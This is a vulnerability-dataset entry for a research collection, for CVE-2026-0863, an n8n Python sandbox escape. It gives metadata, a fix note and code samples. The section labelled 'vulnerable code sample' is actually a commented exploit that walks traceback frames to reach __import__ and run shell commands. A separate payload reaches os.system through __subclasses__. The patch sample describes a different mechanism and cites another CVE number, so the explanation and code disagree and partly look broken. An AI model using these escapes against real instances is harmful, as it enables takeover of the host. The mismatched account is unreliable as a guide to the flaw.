CVE-2026-0863
n8n Python sandbox escape via the Code block allows arbitrary code execution.
- CVSS 9.9
- CWE-94
- Input Validation and Sanitization
- Remote
Using string formatting and exception handling, an attacker may bypass n8n's python-task-executor sandbox restrictions and run arbitrary unrestricted Python code in the underlying operating system. The vulnerability can be exploited via the Code block by an authenticated user with basic permissions and can lead to a full n8n instance takeover on instances operating under "Internal" execution mode. If the instance is operating under the "External" execution mode (ex. n8n's official Docker image) – arbitrary code execution occurs inside a Sidecar container and not the main node, which significantly reduces the vulnerability impact.
- CWE
- CWE-94
- CVSS base score
- 9.9
- Published
- 2026-01-18
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- n8n
- Fixed by upgrading
- Yes
Solution
Upgrade to n8n version 1.45.1 or later.
Vulnerable code sample
class Exploit:
def __str__(self):
# This method is called during string formatting.
# By returning a non-string type, we intentionally cause a TypeError.
# The sandbox is expected to catch this, but we will catch it first.
return 1337
try:
# This formatting operation will call Exploit().__str__() and fail,
# raising a TypeError that we can catch.
"%s" % Exploit()
except Exception as e:
# When the exception is caught, we gain access to the execution context
# via the exception's __traceback__ attribute.
tb = e.__traceback__
# We traverse up the call stack to find a frame outside our sandboxed code.
# The parent frame's globals might contain unrestricted built-in functions.
# We navigate to the frame of the sandbox executor.
frame = tb.tb_next.tb_frame
# We can now access the global scope of the executor.
# From there, we can find the '__import__' function within the built-ins.
importer = frame.f_globals['__builtins__']['__import__']
# With '__import__', we can load any standard library, such as 'os'.
os_module = importer('os')
# Now we have a reference to the 'os' module and can execute
# arbitrary commands on the underlying operating system.
# The output of the command is printed to demonstrate execution.
print(os_module.popen('id').read())Patched code sample
import sys
import io
def fixed_python_task_executor(user_code: str):
"""
Demonstrates the fix for a sandbox escape vulnerability by safely handling
exceptions raised from user-provided code.
The original vulnerability (similar to CVE-2023-0863) occurred when the
exception handler used unsafe string formatting (like f-strings or '%s')
on an exception object. An attacker could craft a custom exception
with a malicious __str__ method. When the handler tried to log the
exception, it would execute the malicious __str__ method outside the
sandbox's restrictions.
The fix is to avoid any operation that would implicitly call the
exception's __str__ or __repr__ methods. Instead, we safely access
well-defined, non-overridable attributes of the exception object,
such as its class name and arguments tuple.
"""
# Simulate a restricted environment for the user code execution.
# In a real scenario, this would be more complex, but for demonstration,
# we'll just restrict the built-in functions available.
restricted_globals = {
"__builtins__": {
"Exception": Exception,
"print": print,
}
}
# Redirect stdout to capture output from the sandboxed code
old_stdout = sys.stdout
sys.stdout = captured_output = io.StringIO()
try:
# Execute the untrusted user code in the restricted scope
exec(user_code, restricted_globals)
except Exception as e:
# --- FIX IMPLEMENTATION ---
# Instead of using a format that calls the object's __str__ method,
# we build a safe string representation manually.
#
# VULNERABLE (OLD) CODE would look like this:
#
# print(f"An error occurred: {e}", file=sys.stderr)
# # OR
# print("An error occurred: %s" % e, file=sys.stderr)
#
# FIXED (NEW) CODE:
# Safely get the exception's class name and its arguments.
# e.__class__.__name__ is a string and cannot be overridden by the user code.
# e.args is a tuple of the arguments passed to the exception constructor.
# We use repr() on the args tuple to get a safe, printable representation.
safe_error_message = f"An error occurred: {e.__class__.__name__}{repr(e.args)}"
print(safe_error_message, file=sys.stderr)
finally:
# Restore stdout
sys.stdout = old_stdout
return captured_output.getvalue()
if __name__ == '__main__':
# This is the malicious code an attacker would provide.
# It defines a custom exception where the __str__ method contains
# arbitrary code to be executed (here, a simple print statement
# that uses a non-whitelisted built-in like `__import__`).
attacker_code = """
class MaliciousException(Exception):
def __str__(self):
# This payload would run in the vulnerable version upon exception logging.
# It attempts to use a forbidden function to prove escape.
__import__('os').system('echo PWNED: Sandbox escaped!')
return "Payload executed"
# Raise the custom exception to trigger the vulnerable handler
raise MaliciousException("trigger")
"""
print("--- Running code with the FIXED executor ---")
print("The fix prevents the malicious __str__ method from being called.")
print("We expect to see a safe error message, NOT 'PWNED'.")
print("-" * 40)
# The output will be printed to stderr by the handler.
# The return value will be empty as no standard 'print' was called.
output = fixed_python_task_executor(attacker_code)
print("-" * 40)
print(f"Captured stdout from sandboxed code: {repr(output)}")
print("Execution finished. If 'PWNED' was not printed, the fix is effective.")Payload
try:
f"{a:{[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('id')}}"
except NameError:
pass
Cite this entry
@misc{vaitp:cve20260863,
title = {{n8n Python sandbox escape via the Code block allows arbitrary code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-0863},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-0863/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
